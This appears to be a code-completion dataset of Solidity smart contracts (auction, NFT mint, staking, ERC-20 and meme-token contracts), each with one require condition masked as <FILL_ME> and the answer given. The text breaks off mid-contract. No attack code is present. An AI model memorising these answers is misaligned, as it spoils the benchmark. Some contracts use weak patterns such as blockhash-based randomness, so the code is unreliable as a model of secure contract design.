comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"You already own the land" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MarsGenesisAuctionBase.sol";
/// @title MarsGenesis Auction Contract
/// @author MarsGenesis
/// @notice You can use this contract to buy, sell and bid on MarsGenesis lands
contract MarsGenesisAuction is MarsGenesisAuctionBase {
/// @notice Inits the contract
/// @param _erc721Address The address of the main MarsGenesis contract
/// @param _walletAddress The address of the wallet of MarsGenesis contract
/// @param _cut The contract owner tax on sales
constructor (address _erc721Address, address payable _walletAddress, uint256 _cut) MarsGenesisAuctionBase(_erc721Address, _walletAddress, _cut) {}
/*** EXTERNAL ***/
/// @notice Enters a bid for a specific land (payable)
/// @dev If there was a previous (lower) bid, it removes it and adds its amount to pending withdrawals.
/// On success, it emits the LandBidEntered event.
/// @param tokenId The id of the land to bet upon
function enterBidForLand(uint tokenId) external payable {
require(nonFungibleContract.ownerOf(tokenId) != address(0), "Land not yet owned");
require(<FILL_ME>)
require(msg.value > 0, "Amount must be > 0");
Bid memory existing = landIdToBids[tokenId];
require(msg.value > existing.value, "Amount must be > than existing bid");
if (existing.value > 0) {
// Refund the previous bid
addressToPendingWithdrawal[existing.bidder] += existing.value;
}
landIdToBids[tokenId] = Bid(true, tokenId, msg.sender, msg.value);
emit LandBidEntered(tokenId, msg.value, msg.sender);
}
/// @notice Buys a land for a specific price (payable)
/// @dev The land must be for sale before other user calls this method. If the same user had the higher bid before, it gets refunded into the pending withdrawals. On success, emits the LandBought event. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land to be bought
function buyLand(uint tokenId) external payable {
}
/// @notice Offers a land that ones own for sale for a min price
/// @dev On success, emits the event LandOffered
/// @param tokenId The id of the land to put for sale
/// @param minSalePriceInWei The minimum price of the land (Wei)
function offerLandForSale(uint tokenId, uint minSalePriceInWei) external {
}
/// @notice Sends free balance to the main wallet
/// @dev Only callable by the deployer
function sendBalanceToWallet() external {
}
/// @notice Users can withdraw their available balance
/// @dev Avoids reentrancy
function withdraw() external {
}
/// @notice Owner of a land can accept a bid for its land
/// @dev Only callable by the main contract. On success, emits the event LandBought. Disccounts the contract tax (cut) from the final price. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land
/// @param minPrice The minimum price of the land
function acceptBidForLand(uint tokenId, uint minPrice) external {
}
/// @notice Users can withdraw their own bid for a specific land
/// @dev The bid amount is automatically transfered back to the user. Emits LandBidWithdrawn event. Avoids reentrancy.
/// @param tokenId The id of the land that had the bid on
function withdrawBidForLand(uint tokenId) external {
}
/// @notice Updates the wallet contract address
/// @param _address The address of the wallet contract
/// @dev Only callable by deployer
function setWalletAddress(address payable _address) external {
}
/*** PUBLIC ***/
/// @notice Checks if a land is for sale
/// @param tokenId The id of the land to check
/// @return boolean, true if the land is for sale
function landIdIsForSale(uint256 tokenId) public view returns(bool) {
}
/// @notice Puts a land no longer for sale
/// @dev Callable only by the main contract or the owner of a land. Emits the event LandNoLongerForSale
/// @param tokenId The id of the land
function landNoLongerForSale(uint tokenId) public {
}
}
| nonFungibleContract.ownerOf(tokenId)!=msg.sender,"You already own the land" | 251,526 | nonFungibleContract.ownerOf(tokenId)!=msg.sender |
"Item is not for sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MarsGenesisAuctionBase.sol";
/// @title MarsGenesis Auction Contract
/// @author MarsGenesis
/// @notice You can use this contract to buy, sell and bid on MarsGenesis lands
contract MarsGenesisAuction is MarsGenesisAuctionBase {
/// @notice Inits the contract
/// @param _erc721Address The address of the main MarsGenesis contract
/// @param _walletAddress The address of the wallet of MarsGenesis contract
/// @param _cut The contract owner tax on sales
constructor (address _erc721Address, address payable _walletAddress, uint256 _cut) MarsGenesisAuctionBase(_erc721Address, _walletAddress, _cut) {}
/*** EXTERNAL ***/
/// @notice Enters a bid for a specific land (payable)
/// @dev If there was a previous (lower) bid, it removes it and adds its amount to pending withdrawals.
/// On success, it emits the LandBidEntered event.
/// @param tokenId The id of the land to bet upon
function enterBidForLand(uint tokenId) external payable {
}
/// @notice Buys a land for a specific price (payable)
/// @dev The land must be for sale before other user calls this method. If the same user had the higher bid before, it gets refunded into the pending withdrawals. On success, emits the LandBought event. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land to be bought
function buyLand(uint tokenId) external payable {
require(msg.sender != nonFungibleContract.ownerOf(tokenId), "You cant buy your own land");
Offer memory offer = landIdToOfferForSale[tokenId];
require(<FILL_ME>)
require(offer.seller == nonFungibleContract.ownerOf(tokenId), "Seller is no longer the owner of the item");
require(msg.value >= offer.minValue, "Not enough balance");
address seller = offer.seller;
nonFungibleContract.safeTransferFrom(seller, msg.sender, tokenId);
uint taxAmount = msg.value * ownerCut / 100;
uint netAmount = msg.value - taxAmount;
addressToPendingWithdrawal[seller] += netAmount;
// 80% of tax goes to first owner
address firstOwner = nonFungibleContract.tokenIdToFirstOwner(tokenId);
uint firstOwnerAmount = taxAmount * 80 / 100;
addressToPendingWithdrawal[firstOwner] += firstOwnerAmount;
ownerBalance += taxAmount - firstOwnerAmount;
emit LandBought(tokenId, msg.value, seller, msg.sender);
// Check for the case where there is a bid from the new owner and refund it.
// Any other bid can stay in place.
Bid memory bid = landIdToBids[tokenId];
if (bid.bidder == msg.sender) {
addressToPendingWithdrawal[msg.sender] += bid.value;
landIdToBids[tokenId] = Bid(false, tokenId, address(0), 0);
}
}
/// @notice Offers a land that ones own for sale for a min price
/// @dev On success, emits the event LandOffered
/// @param tokenId The id of the land to put for sale
/// @param minSalePriceInWei The minimum price of the land (Wei)
function offerLandForSale(uint tokenId, uint minSalePriceInWei) external {
}
/// @notice Sends free balance to the main wallet
/// @dev Only callable by the deployer
function sendBalanceToWallet() external {
}
/// @notice Users can withdraw their available balance
/// @dev Avoids reentrancy
function withdraw() external {
}
/// @notice Owner of a land can accept a bid for its land
/// @dev Only callable by the main contract. On success, emits the event LandBought. Disccounts the contract tax (cut) from the final price. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land
/// @param minPrice The minimum price of the land
function acceptBidForLand(uint tokenId, uint minPrice) external {
}
/// @notice Users can withdraw their own bid for a specific land
/// @dev The bid amount is automatically transfered back to the user. Emits LandBidWithdrawn event. Avoids reentrancy.
/// @param tokenId The id of the land that had the bid on
function withdrawBidForLand(uint tokenId) external {
}
/// @notice Updates the wallet contract address
/// @param _address The address of the wallet contract
/// @dev Only callable by deployer
function setWalletAddress(address payable _address) external {
}
/*** PUBLIC ***/
/// @notice Checks if a land is for sale
/// @param tokenId The id of the land to check
/// @return boolean, true if the land is for sale
function landIdIsForSale(uint256 tokenId) public view returns(bool) {
}
/// @notice Puts a land no longer for sale
/// @dev Callable only by the main contract or the owner of a land. Emits the event LandNoLongerForSale
/// @param tokenId The id of the land
function landNoLongerForSale(uint tokenId) public {
}
}
| offer.isForSale,"Item is not for sale" | 251,526 | offer.isForSale |
"Only owner can add item from sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MarsGenesisAuctionBase.sol";
/// @title MarsGenesis Auction Contract
/// @author MarsGenesis
/// @notice You can use this contract to buy, sell and bid on MarsGenesis lands
contract MarsGenesisAuction is MarsGenesisAuctionBase {
/// @notice Inits the contract
/// @param _erc721Address The address of the main MarsGenesis contract
/// @param _walletAddress The address of the wallet of MarsGenesis contract
/// @param _cut The contract owner tax on sales
constructor (address _erc721Address, address payable _walletAddress, uint256 _cut) MarsGenesisAuctionBase(_erc721Address, _walletAddress, _cut) {}
/*** EXTERNAL ***/
/// @notice Enters a bid for a specific land (payable)
/// @dev If there was a previous (lower) bid, it removes it and adds its amount to pending withdrawals.
/// On success, it emits the LandBidEntered event.
/// @param tokenId The id of the land to bet upon
function enterBidForLand(uint tokenId) external payable {
}
/// @notice Buys a land for a specific price (payable)
/// @dev The land must be for sale before other user calls this method. If the same user had the higher bid before, it gets refunded into the pending withdrawals. On success, emits the LandBought event. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land to be bought
function buyLand(uint tokenId) external payable {
}
/// @notice Offers a land that ones own for sale for a min price
/// @dev On success, emits the event LandOffered
/// @param tokenId The id of the land to put for sale
/// @param minSalePriceInWei The minimum price of the land (Wei)
function offerLandForSale(uint tokenId, uint minSalePriceInWei) external {
require(msg.sender == address(nonFungibleContract), "Use MarsContractBase:offerLandForSale instead");
require(<FILL_ME>)
landIdToOfferForSale[tokenId] = Offer(true, tokenId, nonFungibleContract.ownerOf(tokenId), minSalePriceInWei);
emit LandOffered(tokenId, minSalePriceInWei, nonFungibleContract.ownerOf(tokenId));
}
/// @notice Sends free balance to the main wallet
/// @dev Only callable by the deployer
function sendBalanceToWallet() external {
}
/// @notice Users can withdraw their available balance
/// @dev Avoids reentrancy
function withdraw() external {
}
/// @notice Owner of a land can accept a bid for its land
/// @dev Only callable by the main contract. On success, emits the event LandBought. Disccounts the contract tax (cut) from the final price. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land
/// @param minPrice The minimum price of the land
function acceptBidForLand(uint tokenId, uint minPrice) external {
}
/// @notice Users can withdraw their own bid for a specific land
/// @dev The bid amount is automatically transfered back to the user. Emits LandBidWithdrawn event. Avoids reentrancy.
/// @param tokenId The id of the land that had the bid on
function withdrawBidForLand(uint tokenId) external {
}
/// @notice Updates the wallet contract address
/// @param _address The address of the wallet contract
/// @dev Only callable by deployer
function setWalletAddress(address payable _address) external {
}
/*** PUBLIC ***/
/// @notice Checks if a land is for sale
/// @param tokenId The id of the land to check
/// @return boolean, true if the land is for sale
function landIdIsForSale(uint256 tokenId) public view returns(bool) {
}
/// @notice Puts a land no longer for sale
/// @dev Callable only by the main contract or the owner of a land. Emits the event LandNoLongerForSale
/// @param tokenId The id of the land
function landNoLongerForSale(uint tokenId) public {
}
}
| nonFungibleContract.ownerOf(tokenId)==msg.sender||nonFungibleContract.getApproved(tokenId)==address(this),"Only owner can add item from sale" | 251,526 | nonFungibleContract.ownerOf(tokenId)==msg.sender||nonFungibleContract.getApproved(tokenId)==address(this) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual returns (uint256) {
}
function balanceOf(address account) public view virtual returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
}
pragma solidity ^0.8.19;
contract ForCZ is ERC20 {
address constant public BINANCE_COLD_WALLET=0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8;
uint256 constant DROP_AMOUNT=4000*1e18;
uint256 constant public TOTAL_SUPPLY=DROP_AMOUNT*10000*2;
mapping (address => bool) claimed;
address[] CZSupporters;
uint256 curTime;
constructor() ERC20("ForCZ", "FCZ") {
}
fallback () external payable{
require(msg.sender==tx.origin);
require(!claimed[msg.sender]);
claimed[msg.sender]=true;
CZSupporters.push(msg.sender);
_mint(msg.sender, DROP_AMOUNT);
_mint(BINANCE_COLD_WALLET,DROP_AMOUNT);
if(block.timestamp>curTime+4 minutes)
{
uint256 you=uint256(blockhash(block.number-1)) % CZSupporters.length;
_mint(CZSupporters[you], DROP_AMOUNT*4);
curTime=block.timestamp;
}
require(<FILL_ME>)
}
}
| totalSupply()<=TOTAL_SUPPLY | 251,769 | totalSupply()<=TOTAL_SUPPLY |
"Exceeds the maxWalletSize." | // SPDX-License-Identifier: MIT
/*
Website : https://pupueth.com/
Telegram : https://t.me/pupu_eth
*/
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PUPU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=10;
uint256 private _reduceSellTaxAt=39;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"Pupu";
string private constant _symbol = unicode"PUPU";
uint256 public _maxwalletq = 2000000 * 10**_decimals;
uint256 public _maxtxq = 2000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 400000 * 10**_decimals;
uint256 public _maxTaxSwap= 1300000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxwalletq);
modifier lockTheSwap {
}
constructor (address taxWallet) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxwalletq, "Exceeds the _maxwalletq.");
require(<FILL_ME>)
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
}
| balanceOf(to)+amount<=_maxtxq,"Exceeds the maxWalletSize." | 251,816 | balanceOf(to)+amount<=_maxtxq |
"Only 2 Mints per Wallet" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './ERC721B.sol';
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract Sayre is ERC721B, Ownable {
using Strings for uint256;
string public baseURI = "";
bool public isSaleActive = false;
mapping(address => uint256) private _mintClaimed;
uint256 public constant MAX_TOKENS = 5555;
uint256 public constant FREE_MINTS = 1000;
uint256 public tokenPrice = 7000000000000000;
uint256 public constant maxTokenPurchase = 2;
using SafeMath for uint256;
using Strings for uint256;
uint256 public devReserve = 5;
event NFTMINTED(uint256 tokenId, address owner);
constructor() ERC721B("Sayre", "ST") {}
function _baseURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _tokenPrice() internal view virtual returns (uint256) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function activateSale() external onlyOwner {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function Withdraw() public payable onlyOwner {
}
function reserveTokens(address dev, uint256 reserveAmount)
external
onlyOwner
{
}
function mintNFT(address to, uint256 quantity) external payable {
require(isSaleActive, "Sale not Active");
require(
quantity > 0 && quantity <= maxTokenPurchase,
"Can Mint only 2 per Wallet"
);
require(
totalSupply().add(quantity) <= MAX_TOKENS,
"Mint is going over max per transaction"
);
require(<FILL_ME>)
if(totalSupply()<=FREE_MINTS){
_mintClaimed[msg.sender] += quantity;
_mint(to, quantity);
}else{
require(
msg.value >= tokenPrice.mul(quantity),
"Invalid amount sent"
);
_mintClaimed[msg.sender] += quantity;
_mint(to, quantity);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| _mintClaimed[msg.sender].add(quantity)<=maxTokenPurchase,"Only 2 Mints per Wallet" | 251,868 | _mintClaimed[msg.sender].add(quantity)<=maxTokenPurchase |
"LP: minting status is frozen" | /*
ββ ββ ββββββ βββββ ββββββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
βββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββ ββ ββββββ ββ ββ ββββββ βββββββ ββ
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IDao.sol";
contract LP is ReentrancyGuard, ERC20, ERC20Permit {
address public immutable dao;
address public immutable shop;
bool public mintable = true;
bool public burnable = true;
bool public mintableStatusFrozen = false;
bool public burnableStatusFrozen = false;
constructor(
string memory _name,
string memory _symbol,
address _dao
) ERC20(_name, _symbol) ERC20Permit(_name) {
}
modifier onlyDao() {
}
modifier onlyShop() {
}
function mint(
address _to,
uint256 _amount
) external onlyShop returns (bool) {
}
function burn(
uint256 _amount,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
}
function changeMintable(bool _mintable) external onlyDao returns (bool) {
require(<FILL_ME>)
mintable = _mintable;
return true;
}
function changeBurnable(bool _burnable) external onlyDao returns (bool) {
}
function freezeMintingStatus() external onlyDao returns (bool) {
}
function freezeBurningStatus() external onlyDao returns (bool) {
}
}
| !mintableStatusFrozen,"LP: minting status is frozen" | 251,876 | !mintableStatusFrozen |
"LP: burnable status is frozen" | /*
ββ ββ ββββββ βββββ ββββββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
βββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββ ββ ββββββ ββ ββ ββββββ βββββββ ββ
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IDao.sol";
contract LP is ReentrancyGuard, ERC20, ERC20Permit {
address public immutable dao;
address public immutable shop;
bool public mintable = true;
bool public burnable = true;
bool public mintableStatusFrozen = false;
bool public burnableStatusFrozen = false;
constructor(
string memory _name,
string memory _symbol,
address _dao
) ERC20(_name, _symbol) ERC20Permit(_name) {
}
modifier onlyDao() {
}
modifier onlyShop() {
}
function mint(
address _to,
uint256 _amount
) external onlyShop returns (bool) {
}
function burn(
uint256 _amount,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
}
function changeMintable(bool _mintable) external onlyDao returns (bool) {
}
function changeBurnable(bool _burnable) external onlyDao returns (bool) {
require(<FILL_ME>)
burnable = _burnable;
return true;
}
function freezeMintingStatus() external onlyDao returns (bool) {
}
function freezeBurningStatus() external onlyDao returns (bool) {
}
}
| !burnableStatusFrozen,"LP: burnable status is frozen" | 251,876 | !burnableStatusFrozen |
"Not whitelisted" | //SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
import "./openzep/Ownable.sol";
import "./ERC721A.sol";
import "./openzep/ReentrancyGuard.sol";
import "./openzep/IERC20.sol";
contract TheUltimateDwights is
Ownable,
ERC721A,
ReentrancyGuard
{
constructor() ERC721A("TheUltimateDwights", "THUG", 10, 7500 ) {}
using SafeMath for uint256;
string private _baseTokenURI = "https://ipfs.io/ipfs/QmZm5yxGCpbtbst9gf16yD8ATpwC4X8kc4aXa2s1DnDFZG/";
bool public mintingOpen = false;
uint256 private mintPrice = 0.1 ether;
uint256 private wlPrice = 0.08 ether;
address[] public Whitelisted;
string private _baseExtension = ".json";
enum SaleType{
WL,
PUBLIC
}
SaleType _sale = SaleType.WL;
function setSale(SaleType sale) external onlyOwner{
}
function setMintPrice(uint256 _amount, SaleType _s) external onlyOwner{
}
function setBaseExtension(string memory _ext) external onlyOwner{
}
function whitelist(address addr) public onlyOwner{
}
function isWhite() internal view returns(bool){
}
/**
* @dev Mints a token to an address with a tokenURI.
* owner only and allows fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to) public onlyOwner {
}
function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner {
}
/**
* @dev Mints tokens to an address with a tokenURI.
* @param _amount number of tokens to mint
*/
function mint(uint256 _amount) public payable nonReentrant{
if(_sale == SaleType.WL){
require(<FILL_ME>)
require(msg.value >= _amount * wlPrice, "Amount less than mint price");
}else{
require(msg.value >= _amount * mintPrice, "Amount less than mint price");
}
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(mintingOpen == true, "Public minting is not open right now!");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 7500");
_safeMint(msg.sender, _amount, false);
}
function getMintPrice() external view returns (uint256){
}
function isContractActive() external view returns(bool) {
}
function getMintedTokensForUser(address _user) external view returns(uint256 [] memory){
}
function getTotalMintSupply() external view returns(uint){
}
function getSale() external view returns(SaleType){
}
function openMinting() public onlyOwner {
}
function stopMinting() public onlyOwner {
}
/**
* @dev Allows owner to set Max mints per tx
* @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1
*/
function setMaxMint(uint256 _newMaxMint) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function baseTokenURI() public view returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function withdraw(address _address, uint256 _amount) external onlyOwner {
}
/**
* @dev Allow contract owner to withdraw ERC-20 balance from contract
* in the event ERC-20 tokens are paid to the contract.
* @param _tokenContract contract of ERC-20 token to withdraw
* @param _amount balance to withdraw according to balanceOf of ERC-20 token
* @param _owner address to withdraw the token balance to
*/
function withdrawAllERC20(address _tokenContract, uint256 _amount, address _owner) public onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| isWhite()==true,"Not whitelisted" | 251,934 | isWhite()==true |
"user must be the owner of the token" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "hardhat/console.sol";
interface IRewardToken is IERC20 {
function mint(address to , uint256 amount) external;
}
contract Training is Ownable , ERC721Holder {
IRewardToken public rewardsToken;
IERC721 public nft;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 constant stakingTime = 86400 seconds;
uint256 constant token = 10e18;
struct Staker {
uint256[] tokenIds;
mapping(uint256 => uint256) tokenStakingCoolDown;
uint256 balance;
uint256 rewardsReleased;
}
constructor(IERC721 _nft, IRewardToken _rewardsToken){
}
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice Mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool public tokensClaimable;
bool initialised;
/// @notice event emitted when a user has staked a nft
event Staked(address owner, uint256 amount);
/// @notice event emitted when a user has unstaked a nft
event Unstaked(address owner, uint256 amount);
/// @notice event emitted when a user claims reward
event RewardPaid(address indexed user, uint256 reward);
/// @notice Allows reward tokens to be claimed
event ClaimableStatusUpdated(bool status);
/// @notice Emergency unstake tokens without rewards
event EmergencyUnstake(address indexed user, uint256 tokenId);
function initStaking() public onlyOwner {
}
function setTokensClaimable(bool _enabled) public onlyOwner {
}
function getStakedTokens(address _user)
public
view
returns (uint256[] memory tokenIds)
{
}
function stake(uint256 tokenId) public {
}
function stakeBatch(uint256[] memory tokenIds) public {
}
function _stake(address _user, uint256 _tokenId) internal {
require(initialised, "Staking System: the staking has not started");
require(<FILL_ME>)
require(_tokenId <= 1000 , "Only Genesis Nfts can stake");
Staker storage staker = stakers[_user];
staker.tokenIds.push(_tokenId);
staker.tokenStakingCoolDown[_tokenId] = block.timestamp;
tokenOwner[_tokenId] = _user;
nft.approve(address(this), _tokenId);
nft.safeTransferFrom(_user, address(this), _tokenId);
emit Staked(_user, _tokenId);
stakedTotal++;
}
function unstake(uint256 _tokenId) public {
}
function unstakeBatch(uint256[] memory tokenIds) public {
}
// Unstake without caring about rewards. EMERGENCY ONLY.
function emergencyUnstake(uint256 _tokenId) public {
}
function _unstake(address _user, uint256 _tokenId) internal {
}
function updateReward(address _user) public {
}
function claimReward(address _user) public {
}
}
| nft.ownerOf(_tokenId)==_user,"user must be the owner of the token" | 251,960 | nft.ownerOf(_tokenId)==_user |
"nft._unstake: Sender must have staked tokenID" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "hardhat/console.sol";
interface IRewardToken is IERC20 {
function mint(address to , uint256 amount) external;
}
contract Training is Ownable , ERC721Holder {
IRewardToken public rewardsToken;
IERC721 public nft;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 constant stakingTime = 86400 seconds;
uint256 constant token = 10e18;
struct Staker {
uint256[] tokenIds;
mapping(uint256 => uint256) tokenStakingCoolDown;
uint256 balance;
uint256 rewardsReleased;
}
constructor(IERC721 _nft, IRewardToken _rewardsToken){
}
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
